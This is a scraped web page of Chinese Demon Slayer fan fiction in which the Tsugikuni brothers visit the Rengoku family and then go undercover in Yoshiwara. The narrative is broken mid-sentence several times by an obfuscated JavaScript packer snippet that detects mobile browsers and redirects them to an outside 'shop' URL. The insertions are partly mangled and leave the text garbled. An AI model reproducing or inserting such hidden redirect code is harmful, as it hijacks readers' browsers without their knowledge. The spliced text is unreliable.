然后被缘一直白看回去的视线吓得把头缩回去。 “……”炭治郎坐到继国缘一面前,“你好,我们是前来拜访炼狱杏寿郎先生的鬼杀队队员,请问你是……” 那孩子听见,又把头探出来。他的目光是纯澈的期待和好奇,“我是炼狱千寿郎,兄长的弟弟。就是你们救了兄长吗?” 果然是炼狱先生的弟弟! 炭治郎瞬间快乐起来,他连连摆手,说不是我,“是我身边这位继国缘一大人救下了炼狱先生。” “原来是您!”千寿郎的目光简直要用崇拜来形容。他感激地看着继国缘一,“真的太感谢您了,看到兄长回来时带着的伤痕,我真的……” “够了,滚出去!” 一道厉喝在院外炸开,炭治郎差点被吓到。他迅速转过身来,想开门去看,却被千寿郎一下按住了手。 他被千寿郎祈求的眼神吓到: 不要开门。 那孩子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107830|138193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛是这么说的。 而门外还在继续: “实力如此不济,要靠别人相救才能活命,现在活下来了还不知足,居然还来问我历任炎柱的手记,我难道不是早告诉你你该引退?没有天赋的东西!” 炭治郎紧紧皱起眉,这是在说什么?!他低头看千寿郎,对方显然习以为常,此时只是瑟瑟发抖着,不敢抬头看炭治郎。像一只被吓坏的小兽,正在雨雪下瑟缩躲藏着。 而下一秒,让炭治郎更大吃一惊的事出现了: “父亲大人,我并不是想要取您手中的手记,走捷径提高实力,只是我此次受人所救,恩人想要看这些手记,我……” “那就让他来向我要!” 这居然是炼狱杏寿郎阁下的声音! 那种评价……所谓“实力不济”、“没有天赋”的评价,居然是对炼狱先生所说的!炭治郎气得脸都红了,可是看着身边害怕的千寿郎,开门的手又开始犹豫…… 但继国缘一才不犹豫。 他上前一步,看起来无比随意,只是找个好位置一样—— 然后把门“啪”的拉开了。 “……” 灶门炭治郎有时候觉得缘一大人这种平常心也是蛮厉害的。 院中的人显然没料到里面有人,或者没料到他们会开门。一对长相极其相似、一看就知道是父子的人,纷纷朝屋内看过来。 首先有反应的是炼狱杏寿郎。他意识到自己打扰到客人,匆匆低头,难得露出没有十分活力的样子,“抱歉,吓到你们了吗?千寿郎,哥哥等下就去找你……” “你!” 锐呵声,止住了杏寿郎的话语。让他惊愕地朝身边看去。 他身边那个看起来和他一模一样、仅仅是年龄增加、面容颓废些许的男人,此时正瞪大眼睛,死死地盯着继国缘一。 看着他标志性的红色的长发,冷漠的表情,以及耳垂上—— “那个耳饰……”年长的男人屏住了呼吸,露出仿佛看到了全世界最可怕的恶鬼般的表情,“你……” “你是日之呼吸的使用者吧?!” 继国缘一微微睁大了眼睛。 他还没来得及反应,对面那人就说出些恍惚的诳语: “难怪……” “杏寿郎是被你救下的……” “日之呼吸、那个耳饰……” “你就是,”炼狱槙寿郎抬起颤抖的手,指着继国缘一,“手记里说过的……” “神之子般具有天赋的人!” 继国缘一愣了愣。 他还没来得及反应,就听见自己背后的箱子发出窸窣的响声。一阵微微的笑声,从箱子里传了出来。 箱门被推开,一只幼小柔软的手伸了出来。 “难怪我觉得炼狱杏寿郎长得如此眼熟……” 继国严胜走出来,来到震惊的众人面前。他看着炼狱槙寿郎,露出一个满意的微笑: “千百年后的如今,还有人记得缘一和日之呼吸的威名……” “我作为兄长,感到非常、非常的……” 高兴。 11. 花街 空气一时陷入凝滞。 灶门炭治郎还在发愣,而他身边的千寿郎更是一头雾水,摸不清头脑。 只有站在前方一动不动的继国缘一没什么反应。他看起来面无波动,只有一双眼睛眨了一眨,半晌,他蹲下身,把地上的严胜抱了起来。 像抱什么最珍惜的宝物一样死死抱着。 “……” 炭治郎默默看着缘一。 绝对是因为严胜大人的话在高兴。但是…… 难道缘一大人看不出来,严胜大人在说出那句夸赞的时候,表情并没有多么快乐和自豪么…… 继国缘一当然意识不到。 他自幼就对人类的情感难以理解,即使深爱着自己的母亲和兄长,也对对方情绪的起伏感到无法把握。缘一一直非常感谢自己的哥哥对自己的照顾,能够让他这样愚笨的人也能够正确处理继承人的事务,最后顺利地继承继国家主的位置。 但他一直觉得还是兄长大人,才最当得上这尊贵而身负重任的职责。 此时,继国缘一对院里那个男人的激动也感到难以理解。他开心地抱紧自己的哥哥,歪了歪头,问对方:“你认识我?” 那男人还指着他,手指颤抖。他似乎认出来继国严胜恶鬼的身份,通过通透的世界,缘一辨认出来,对方的身体和血液正在急速升温,随时准备着将兄长大人斩杀。 却因为自己的存在而不敢上前来。 缘一并未出手,只是轻轻将手指放在刀柄上。 他不会容许任何人伤害兄长大人。 即使是人类……即使是鬼杀队。 也不可以伤害欺辱兄长大人分毫。 那个男人似乎认清了他的态度。炼狱槙寿郎沉沉地看了严胜一眼,眼神全是忌惮。随后他将视线转回继国缘一身上,开始说一些莫名其妙的“天赋”、“才能”之类的话: “有才能的人,生来就不一样。而没有才能的人,就如同一颗草芥,轻易就会被命运碾碎。” 灶门炭治郎握紧了拳头。他双眼怒睁,感到无比愤怒,几乎想从胸膛里大吼出声。 就是这种理由? 就因为这么扯的原因,这根本站不住脚的理念,就对炼狱阁下说出那么残忍的话? 看起来,这难道不是炼狱阁下的父亲吗!怎么会有父亲舍得如此侮辱自己的孩子,甚至在言语间,连身边的千寿郎都不放过,即使男孩害怕得躲到一边,也口出狂言,谩骂着千寿郎的天真?! 不可原谅!!! 灶门炭治郎立刻就想上去一个头槌,可就在他这么做之前,继国严胜有了动静。 他笑了一下。 “你是这么认为的?”继国严胜说:“有才能的人宛如天上的星辰,而没有才能的人,就只是地上的草芥?” 炼狱槙寿郎沉默。他大概以为严胜要反驳他,因鬼此时冷冷的眸光。 可他猜错了。 “你说得很对。” 继国严胜说:“很有道理。一点错都没有。日之呼吸就像天上的太阳,神灵般的星辰。那耀眼决绝让人不可直视的光芒,是凡人无可企及的存在,只有最被神眷顾的神之子一样的人,才能够自由使用的东西。” “而其他的呼吸,炎之呼吸,水之呼吸,雷之呼吸……”继国严胜顿了一下,然后露出一个浅淡的微笑,“月之呼吸。” “都只是仿造的伪劣品罢了。” “兄长!” 出乎意料,第一个反驳的人是平日里从不反对严胜的继国缘一。 他死死抱着幼鬼,好像此时才意识到哥哥生气了一样,极不安地摩挲着哥哥的脸颊,“兄长大人,您为什么这么说?您创立的月之呼吸是这样的美丽,舞动时让人心旷神怡……这根本不是缘一的呼吸能够企及的!” “正是!”炼狱杏寿郎也加入进来,“虽然未有幸见到严胜大人出手,但各个呼吸都有自己的长处所在,即使相比日之呼吸略有不足,但是才能这种东西,想必一定是可以培养的!” 继国严胜并没有说话。 他看了一眼发愣的炼狱槙寿郎,沉沉地望进对方恍惚的眼睛,随后,他将自己埋进弟弟的怀里。 “缘一,”他在缘一的胸膛间,发出闷闷的声音,“我累了。回去吧。” “……是,兄长大人。” 继国缘一小心翼翼地将严胜送回箱子,关上门。等箱门完全关上,他抱着箱子,脸上浮现出一种浅淡而静默的哀伤。 “炭治郎君,”继国缘一恳求地看着他,“请早日寻找到让鬼变回人类的方法吧。” - 炭治郎和缘一曾经聊过这个问题。 在无限列车事件中,炭治郎从自己救下的少年口里,得知了“精神核心”这个概念。 当时缘一坐在炭治郎病床边,神色有些犹豫。炭治郎很惊讶,因为大多数时候,来寻找自己和祢豆子的都是严胜大人,而性情冷淡的缘一大人很少会主动拜访。 但缘一大人下一句说出的话,就让炭治郎睁大了眼睛。 “当时,在鬼制造出来的梦境中……” 继国缘一说:“其实我是清醒的。” 炭治郎惊呆了。 他愣愣地看着继国缘一,难以置信地问:“那您——” 您为什么不醒过来呢?! 在梦中清醒,这并不奇怪,炭治郎自己就在梦中醒了过来,因为祢豆子的呼喊,意识到自己身在梦境之中。 原本,只有他能醒,或者说只有炭治郎自己醒得最快,这本就让炭治郎疑惑了。他还以为是因为祢豆子的帮助,却没想到…… “原来您也醒来了,”炭治郎困惑不解,“那您现在来找我,是为了什么呢?” 缘一沉默了一下。 “我在梦里,看到了来寻找我的兄长大人。我看见他的表情,非常……非常……” “非常难过。” 继国缘一说。 而炭治郎愣愣地睁大眼睛。“您是做了什么梦呢?”炭治郎实在想不清楚: 继国严胜此人,在炭治郎和他相处的过程中,一直觉得这个世界上没有什么事情能让对方难过了,严胜大人简直就如同一块刀枪不入的钢铁,无论是谁,都不会让他痛苦和气馁吧。 你看,就连那个鬼舞辻无惨,也不能让他堕落。 但缘一大人的一个梦…… “难道,您梦见您不要严胜大人了?”炭治郎小心翼翼地问。可这也不可能啊!缘一大人怎么可能会离开严胜大人?严胜大人离开他还差不多! 果然,继国缘一摇摇头,像看什么口出狂言的洪水猛兽一样,看了炭治郎一眼:“自然没有。我只是在做关于小时候的梦。” 小时候?炭治郎好奇地问:“什么样的梦呢?” 关于继国兄弟幼年的经历,鬼杀队众人已经好奇很久了,按照缘一大人偶尔的透露,似乎是颇为和谐和睦的,虽然严胜大人似乎处境艰难,但两人都好好地长大了。 或许就是因为有这样幸福的经历,才能让那个世界的继国兄弟,与炭治郎这个世界的不同,能够相互陪伴吧。 而缘一也的确说:“我梦见,我不是继承人,兄长才是,我祝福兄长成为第一的武士,然后发誓永远追随他……” “这听上去……”似乎没什么问题?炭治郎懵了。可缘一摇摇头。 他那万年难得变化的,无感无情的脸,流露出一丝细微的哀伤。 “我想,兄长大人内心里或许是恨我的,”他说:“所以才会那样难过。” “我不想兄长大人恨我……一想到兄长大人或许不爱我,我就觉得……” 炭治郎想起,在护送列车幸存者时,那个侵入了缘一大人梦境的女孩一脸惊恐。她对炭治郎说:“那个人……那个男人,他的精神核心,”声音颤抖得说不出话: “他的核心……是一颗陷在淤泥里的太阳!” 炭治郎好像知道为什么了。 “我就觉得很痛。” 继国缘一说。 炭治郎犹豫了一下,“那缘一大人,您准备怎么做呢?” “所以,我想帮助兄长大人变回人类……或许这样,兄长大人就能够看清我的心了。” “拜托你了。”继国缘一俯下身去,在炭治郎面前,低下了自己的头,“请帮帮我和兄长大人吧。” - 灶门炭治郎当时答应了。 所以此时此刻,他蹲下身来,看着抱着箱子、半跪在地上的继国缘一,表情极其认真地点了点头。他的双眼像两颗永不熄灭的火焰。 “我一定不会辜负您的期待的。”他说。 之后拿到残破的手记,炭治郎一行人告别了炼狱一家。 他们回到蝶屋,炭治郎便开始了被钢铁冢追杀、又被蝶屋的人员逼着修养,而后同善逸和伊之助修炼之类的时间。 而继国兄弟也闲了下来。 不同于要修炼提高自己的少年们,他们已经不需要修炼了,即使是保持状态,每日也不过是个把时辰的问题,严胜还需要通过睡眠恢复体力,继国缘一就只剩下了定期去烧断猗窝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107831|138193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座四肢的工作。 日子慢慢变得平静。 无论别人是什么想法,觉得无趣或者着急,继国缘一都没这样的感觉。 自打出生起,他便喜欢这样无聊而平静的日子,比起练剑,更喜欢同兄长玩风筝和双六,比起杀鬼,冬日里和兄长分享同一块蜜薯会更让人高兴。 如果鬼不肆虐的话,这样的日子还挺好的…… 但鬼显然是不会放过他们的。 即使上弦之三失踪,鬼舞辻无惨似乎也没有收敛的意思,在一日少年们修炼归来的傍晚,炭治郎首先听到的是尖叫的声音。 “啊啊啊放开我,香奈乎!救救我,香奈乎!” 当少年们回到蝶屋,看到的就是这样一番女孩们拖拽着一个男人的诡异画面。 “……” 炭治郎瞬间拔刀上前,“离葵小姐她们远一点!!!” 一番争斗之后,双方才了解到事情的始末,在宇髓天元答应将炭治郎三人作为替代带走后,继国缘一沉默地背着箱子,走到了蝶屋门口。 “兄长大人与我和你们同去。” “……”炭治郎不知道为什么,现在看到继国缘一就反射性的头疼,果然是因为这对兄弟太强又太离谱了吧……他硬着头皮说:“缘一大人,此行一趟,我们似乎要去吉原……” “?”缘一歪了歪头,似乎不解炭治郎说这话背后的意思。 “吉原……就是花街。” 炭治郎佩服敢在缘一大人面前说这种话的自己。 继国缘一顿住。 他眨眨眼,好像发了几秒钟的呆,然后才反应过来。“无妨,走吧。” 白皙的面容没有一点波动,让在旁边紧紧盯着他的善逸和伊之助都不免感到失望。 “呵,你们都是笨蛋,呵,居然不懂花街的意义,你们这群不解风情的蠢货!!!” 善逸还发出愤愤不平的声音。 只有在箱中的继国严胜,通过通透,看到自己弟弟泛起红色的后颈。 花街吗…… 严胜若有所思,他支起短小的手,摸了摸自己的嘴唇。然后忽的笑了。 如果炭治郎能看见,就一定会打个冷战,知道这位祖宗一定在想些什么坏主意的笑容。 可惜炭治郎看不见。 经过一段时间的奔袭,他们来到了吉原。 在路上,宇髓天元已与他们交代过任务的详情,“最主要的任务就是找到我失踪的三位妻子。”他神色凝重,并不管旁边善逸嫉妒愤怒到面色扭曲的脸,“为此,你们三人都需要化作女子,进入不同的店中。” 少年们停下。 然后抬头。 “……啊?” 露出一张张呆滞的脸。 而继国缘一不为所动。 他背着箱子,即使身处五光十色的吉原之中,也像是一簇格格不入的冰雪,行走间自与其他人存在一层看不见的隔膜和结界。 说老实话,宇髓天元看着还觉得有点不爽。 虽然实力确实很强,但继国兄弟这嚣张的态度,果然还是太不华丽了!在给少年们化完妆,并发觉实在惨不忍睹之后,宇髓天元拿伪装的折扇敲了敲自己的手背,然后展开,挡住自己的嘴唇。 “严胜阁下和灶门祢豆子不同吧?” “?”缘一和炭治郎同时困惑地抬起头。 ……好丑。宇髓天元被炭治郎的妆弄得不忍直视。 “这三个男的,伪装出来的效果实在太差,说不定一个都卖不出去。”宇髓天元开始口若悬河地瞎扯,“可无论是我,还是缘一大人,都太过壮硕、没有伪装成女子的能力。” “——如果严胜大人能够正常交流,保留意识,无需时时刻刻睡觉的话,那由严胜大人进行拟态,化为女子进入店中,岂不是更为高效和完美?非常华丽!” “……” 善逸傻了。 伊之助没反应。大概没听懂。 而炭治郎的额角流下一滴冷汗。他惊恐地看着在那里口出狂言的宇髓天元,在心底里疯狂尖叫: 音柱大人,您知道您在说什么吗!您知道您面对的男人是一个什么样的人吗?!他、缘一大人,可是一个彻彻底底、如假包换的—— “……你说什么?” 继国缘一微微垂着头。他面无表情,只一双眼睛稍抬起,火红的瞳孔看着宇髓天元,像无情的神明看着渎神的信徒: “你说让兄长大人……去做什么?” 他是一个——超级无敌大兄控啊!!! 12.时任屋 “好啊。” ? 灶门炭治郎颤颤巍巍地抬起头。这是哪来的声音? 顺着善逸惊恐的目光,炭治郎愣愣地看向了继国缘一的方向,并且,把视线锁定在对方背后的箱子上。 ……然后看着箱门被推开。 继国严胜从里面爬了出来。 “要我拟态化为女子,可以啊。” “……” 严胜大人,炭治郎感觉自己头脑一片空白,像一阵阵落雷劈下,您知道您在说什么吗? 显然,房间里其他人也是这么想的,全都呆呆地看着继国严胜。只有提出提案本身的宇髓天元不为所动,只哈哈哈大笑,“严胜阁下可真是华丽啊!” “……”继国缘一并不理他,只是紧紧盯着严胜,“兄长大人,为什么……” “不是为了任务吗?”继国严胜听起来很轻松,“化作女子而已,有何不可?” “可是……” “以前又不是没有面临过类似的情况,缘一,别那么幼稚。我未喊你,你不要过来。”用一句话堵死弟弟,严胜若无其事地站起来,四周看了看,挑中一处屏风,慢慢走了过去。 “屏风后有女子用的服装,什么尺寸都有。” 顶着继国缘一的目光,宇髓天元还不怕死地加了一句,“口脂和胭脂都有!” “……” 炭治郎看着宇髓天元,以及对方脸上看热闹一样的乐子表情。 这位柱,某种意义上来说,真的是非常厉害啊…… 他们就这么眼睁睁看着严胜走到屏风之后。 - 十分钟后。 “缘一大人……” 炭治郎表情很无奈。 他看着魂不守舍的继国缘一,又喊了一声,“缘一大人。” 还是不理我。 炭治郎咬咬牙:“缘一大人!” 继国缘一动了动。他转身,面无表情地看着灶门炭治郎。 “……”表情真的好可怕,炭治郎硬着头皮,“您还是别生气了,宇髓大人想必也是没有恶意的,严胜大人或许是很有把握,所以才会答应这样的请求。” 继国缘一看着他。 “而且您也说过,严胜大人心地非常善良,肯定是因为担心宇髓大人的妻子们,所以才——” “兄长大人非常美丽。” “……?” “兄长大人的风姿,就像天边的月亮,湖中的水波,即使是女子的服饰,兄长大人也一定能完美地驾驭吧。兄长大人就是这么强大而优秀的人。” 灶门炭治郎:“……所以?” “所以,”继国缘一缓缓抬起头,“这么美丽的兄长大人,如果恢复原本的样子,被别人看到……” “他们心生歹念的话,该怎么办才好?” “……” 灶门炭治郎无言以对。 他僵着脸,看看自己周围几个同样被继国缘一的话震惊得张大嘴巴的同伴们,不由觉得头强烈地疼了起来,“缘一大人,您也说了严胜大人非常强大。” “可是,兄长大人的强大,并不能减少别人的恶意……” 我服了。灶门炭治郎心如死灰。我为什么要去劝服一个兄控? 正当众人无语时,屏风后传来细微的声响。 早就觉得和继国缘一待不下去的宇髓天元抢先站了起来,“我去看一眼!”然后迅速走进屏风后。 并在一分钟内都没有回来。 这,少年们面面相觑,小心翼翼地看了眼脸色惨白的继国缘一,炭治郎首先叹气,“我也去看看严胜大人是否需要帮助。” 他进去了。 然后又是没有动静的半分钟。 看着继国缘一的神态愈发苍白,善逸和伊之助对视一眼,由伊之助开口“本大爷也要看!”,他强行拉着哀嚎着“男人有什么好看!”的善逸走了进去。 然后善逸发出强烈得快冲破屋顶的尖叫声:“啊啊啊啊啊啊啊啊啊——!!!” 继国缘一猛地站了起来。他再也忍耐不下去了,拔刀出鞘,一步迈到屏风旁,“兄长大人,缘一来保护您——” “铮” 神之子、前所未有之最强大的日之呼吸的使用者,名为继国缘一的男人。 有生以来,第一次把自己的刀失手落到了地上。 - 太美丽了。 这样的美丽,或许根本不应该存在在世间。 镜子中的女子,有着一头乌黑的、仅在发尾染上火焰燃烧颜色的柔顺的长发,她一双眼睛顾盼,看人时冷淡,而姣好的五官中和了神情间的冷漠,柔软的唇珠使其显得温婉。即使身着华丽的和服,也无损她半分精致尊贵的容姿。 ……这出去,绝对会在最短的时间成为花魁吧?! 炭治郎呆呆地想。 他喃喃:“严胜大人……” 女子听见,微微偏头,雪白的脖颈和耳垂一起转了过来,让炭治郎不由得被这美丽屏住了呼吸。 她笑了笑,漂亮得仿佛能让春雪盛开。让月色同雪色都一并变得黯淡。 “炭治郎,”她眼神兴味,“你猜,缘一能忍几分钟才过来?” 事实证明不到三分钟。 并且三分钟后,仅仅让继国缘一看到一个模糊的背影,继国严胜就解除了拟态。 他恢复幼鬼的姿态,身体落进层层叠叠的华丽和服之中,并在一瞬间穿好了原本自己的服饰。 “兄长大人,”忍耐不下去的继国缘一喘着气。这位当初将无惨切分成一千八百块也不慌不乱的男人第一次露出这样狼狈的神情,“……您还是不要这样了。” “为何?”幼鬼饶有兴致地抬头看自己的弟弟。 “……” “你说什么?” “……因为,兄长大人太过美丽。”继国缘一对上刹那愣住的继国严胜,红眸里露出火烧般的执拗,“您太过耀眼……就像天空上最美丽的月亮。我不想别人看见这样的您。” 继国严胜一时间说不出话来。 而旁边全程围观,也用了好一会儿才从继国严胜之前容貌中回神的宇髓天元咳了一声。他嗯嗯了一下,说:“没错,虽然很华丽,但太华丽了!” 炭治郎也好心附和,“严胜大人的拟态太显眼了,您或许还是保持孩子的样子更好。” 继国缘一点点头。 而严胜冷笑一声。他随意地站起来,任由弟弟把自己抱住。 “好吧,”他懒洋洋地说:“不过我现在不困,我也要出来。既然是夜晚,我就遮掩掉我的眼睛,跟你们一起在外行动。” 他的眼尾扫过化着妆的三人,脸上有笑的意思,“顺便帮忙,把你们给‘卖’出去。” “……”您只是想看我们的笑话吧?!灶门炭治郎绝望地想。 - 然而事情的发展果然是会超出人的预料的。 在前往第一家店:须磨所在的时任屋,当店主夫妇挑中炭治郎的时候。 店主夫人忽然又抬起了手。 “那边那一位,穿着紫衣的女孩。”她露出“看见了绝佳好货”的表情,“请问也是您在出售么?” 继国缘一呆住。 然后下一秒,他听见自己身旁,牵着自己的手的严胜发出脆生生的柔软的声音: “是的。”他珍贵的兄长大人笑盈盈地说:“您要买下我吗?” - 一定有哪里出了错。 当继国缘一走在吉原的街上,魂不守舍,跟着宇髓天元一行人慢慢往前走的时候。 他脑子里只剩下这个想法:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113819|138193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一定是哪里出了问题。 一旁的黄发少年、那个平日里胆小懦弱但却有自己特别之处的我妻善逸,正偷偷用余光看继国缘一: “……缘一阁下,”大概是因为缘一脸上天塌下来的样子太明显,善逸犹犹豫豫地安慰道:“您别难过了,想必严胜大人一定有自己的考虑吧。” “……” 继国缘一不为所动。神色像死了人一样灰白。 善逸沉默,他在心里疯狂尖叫:啊啊啊炭治郎为什么是你先被买走了啊你不要走啊你走了谁来安慰缘一阁下啊这个人奇怪得要死啊啊啊啊祢豆子我需要你呜呜呜呜呜呜…… “这孩子,是您在售卖吗?” ? 善逸茫然地望过去,结果看见伊之助被人牵着,而宇髓天元笑眯眯地把人交到对方手上,“多谢惠顾。” 然后他和宇髓天元对视上。 “你怎么这么不中用?”宇髓天元骂废物一样,居高临下地俯视他,“一点都不华丽!” “。” 善逸拳头硬了。 帅哥了不起啊?!有三个老婆了不起啊?!有本事来哄哄失落的缘一阁下啊!喂!喂!!! 最后善逸也被宇髓贱卖出去。 完成卖.人的任务,宇髓天元松了口气。他卸掉自己脸上伪装用的妆,随意看向一旁的继国缘一,“缘一阁下,您接下来有什么打算?” 继国缘一沉默。 看看天。 看看地。 在他发呆一样的第五分钟后,也是宇髓天元的忍耐到达极限的时候,继国缘一慢吞吞地把头转过来: “我想……去看看兄长……” “不行,”宇髓天元冷酷地拒绝道,“严胜阁下说了,让您没事别过去。” “……” 继国缘一的表情更为凄凉了。 而此时的继国严胜,并不如继国缘一想象中那样可怜。 他只是端坐在镜子之前。 身前身后的游女发出感叹的声音: “真可爱。” “真可爱呢。” “这么可爱的孩子,老板娘是怎么买到的呀?” “长得如此清秀可人,居然也要被卖掉,真是太可怜了……” “和她同行的,还有个叫炭子的女孩,不知道是否是她的姐妹,那一个的长相似乎就不尽人意了……” “那又如何?有这样一个,何愁我们时任屋没有生意?未来十年都肯定有所保障的。” “——对吧,胜子?” 继国严胜什么都没说。他只是对着满屋子的漂亮女人,以及一旁胆战心惊、随时担心严胜大人生气暴起的炭治郎,微微笑了一下。 “……” 又是一番真可爱真漂亮真是美人胚子的此起彼伏的感慨。 忽然,门刷的拉开:“夜深了,开店的时间要到了,你们挤在这里做什么呢!” 有人来提醒屋子里的姑娘们,她们终于零零散散地走出去了,炭治郎也才找到机会凑上前去。 “严胜大人,”他担心地问:“您还好吗?” 继国严胜瞥他一眼:“有何不好?” 那些姐姐们这样评判您的容貌……炭治郎没说出口,只眼睛里的担忧明晃晃的。继国严胜看他一会儿,才松口劲一样,叹了一声。 “容貌这种东西,再美丽,又有什么意义?”他淡淡地说:“比起这个,身份才重要得多。” 就像他和缘一。 忌子与嫡子,废物和继承人。 那样的才华和身份下,纵使额上有火烧般的斑纹,又有谁会在意呢? 继国严胜垂下眼睛。看着自己幼小蜷起的掌心。 他回忆起自己幼年时,在三叠屋中独自生活,一个人,差点熬不过去冬日的时刻。 13.表演 时任屋也很无聊。 作为新进来的,“十年里最美丽的孩子”,继国严胜并不需要去做什么杂活。 他被分到单独的一间屋子,甚至还配了个看上去仅年长一两岁的佣人,女孩忙前忙后地帮他铺床、叠衣服,给严胜送餐食。 “胜子大人,”女孩看着他,眼神里是崇拜、喜爱和羡慕,“您真好看。” 严胜并不回答她,只笑笑,他很清楚此处对容貌极尽的追求,也知道自己是利用这点作为筹码,拿来打听鬼的情报。 只是不知为何,会觉得有些可笑和凄凉。 偶尔不忙的时候,炭治郎会过来看他,并不着痕迹地打掩护,让严胜不需要白日出门。 他每日和严胜共享发现的蛛丝马迹,并询问严胜是否要跟他一起去参加每日的定期联络。 “缘一大人似乎很想见您,”炭治郎说:“您已经两天没出现在缘一大人面前,他很担心。” 严胜恹恹地趴在榻榻米上,“让他自己找点事做。” 灶门炭治郎看着他,欲言又止,并不知道这对兄弟怎么了。最后他叹口气,还是离开了。 继国严胜也不知道自己怎么了。 只是,那日看着缘一,用那双仿佛用血液燃烧过的鲜红的眼睛,缘一望着自己,眼神里,痴茫和执拗并行。那双注视谁都仿佛是一种无上恩典的眼睛。 继国严胜始终无法忘记。 他心烦意乱,为自己弟弟出格的言语,“不想让别人看见您”,第一次,觉得自己掌控缘一的方法或许出现了问题。 难道太苛刻了吗?继国严胜烦躁地想。 但在他想清楚之前,炭治郎又找上门来了。 “严胜大人,”少年跪坐在他面前,小心翼翼地盯着他,然后视死如归地闭上眼睛:“您愿意为时任屋……” “出台表演吗?” “……”继国严胜:“?” 事情的起因,是那一日宇髓天元带着他们几个去卖,正好是吉原最热闹的时间。 而宇髓天元和继国缘一两人的容貌又非常显眼,吸引了不少人的注意。 于是,严胜进入到时任屋后,就立刻有不少人关注起来。 ‘时任屋新来了一个非常美丽的孩子’ “大街小巷似乎都在这么传,”灶门炭治郎不敢看严胜的脸,“原本我们也不知道的,但是善逸在帮工的时候,似乎听见了相关的传闻……” 继国严胜面无表情。“他们怎么传的?” 灶门炭治郎的视线开始不受控地到处游移。 “说。” “严胜大人……” “我不会对你生气,”六只金瞳眯了起来,“快说。” “……” “说您容姿端丽天生丽质有雪白的皮肤和深色的长发还有一双金色的眼睛是天女下凡神明转世——” 灶门炭治郎破罐子破摔地大喊出声。 喊完之后才知道自己说了什么。 完蛋了,他心死地望向继国严胜,想把自己埋进地里。 “那出台表演又是怎么回事?” “这个是宇髓先生的主意,他说我们的进展太慢,肯定是鬼察觉了我们的到来,如果有人能够帮我们吸引风头,说不定就能引蛇出洞。” “他倒是敢想。”继国严胜冷笑一声,“那他自己怎么不去?” “宇髓先生的体型可能还是有点高大……”灶门炭治郎想象了一下宇髓天元扮作女子的样子—— 他觉得自己还是别想了。 偷偷抬头,炭治郎看到继国严胜一脸紧蹙着眉的样子,似乎很不高兴。 这是当然的,炭治郎在心里叹了口气,无论怎么说,严胜大人毕竟是武士家族出身,或许还是继承人? 能答应来到时任屋已经是不可思议,还想要求更多的话,果然还是他们鬼杀队太弱的原因吧…… “缘一什么反应?” “什么?”炭治郎愣了半拍。 “缘一知道宇髓的想法么,他怎么想?” “缘一大人似乎非常生气。虽然严胜大人您也知道,缘一大人平日里都没什么表情的,”炭治郎打了个冷颤,“但是昨晚,宇髓先生提出这个建议的时候,缘一大人的脸色……” “非常、非常吓人。” 炭治郎用一种有些后怕的语气说。 而继国严胜挑了挑眉。 他伸手,摩挲了一下自己的嘴唇,然后陷入沉思。 在炭治郎看来,继国严胜的表情十分微妙,半晌,幼鬼露出一个新奇的微笑。 “既然如此,”他说:“那我便答应你们了。” “好的,我现在就回去回绝宇髓先生,告诉他您不同意——您说什么?!” - 灶门炭治郎觉得自己的命运危在旦夕。 他做完屋里的杂事,第一次没有反复问老板是否还需要帮忙,而是匆匆换了衣服,然后出门,走到熙熙攘攘的街上。 此时,吉原已浸入深深的夜色,路边灯火通明,一个个彩色的灯笼被挂了起来,炭治郎就沿着这灯笼往前走,往最亮的地方走去。 路上的人很多,比平日里还要多,不少人都和炭治郎是一个方向,在路过的时候,炭治郎听到他们的对话: “你听说了吗?” “什么?时任屋新出台的游女?” “可不是!”那些声音兴致勃勃,“说是年纪还很小,并不接客,但是会一手相当好的剑舞!前几日是第一次开演,轰动了整个吉原啊!” “我也听说了,不瞒你说,昨晚是第二次表演,而我正在现场……” “什么?你竟抢到了位子!说说,那剑舞是不是真的很好?” “剑舞当然是非同凡响,要说和皇亲国戚才能学的那种剑术相比,恐怕都不落下风!但最让我心动的,还不是这剑舞……” “那还能是什么?” 炭治郎听着旁边男子神神秘秘的声音,他压低语气,好像在分享什么宝藏一样,对着身边人说:“是那张脸!” “脸?” “虽然年纪确实很小,恐怕都不到豆蔻,但那张脸……啧啧,真不愧被传为神女转世!” “你这说的……那我们动作还不快点,不然又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 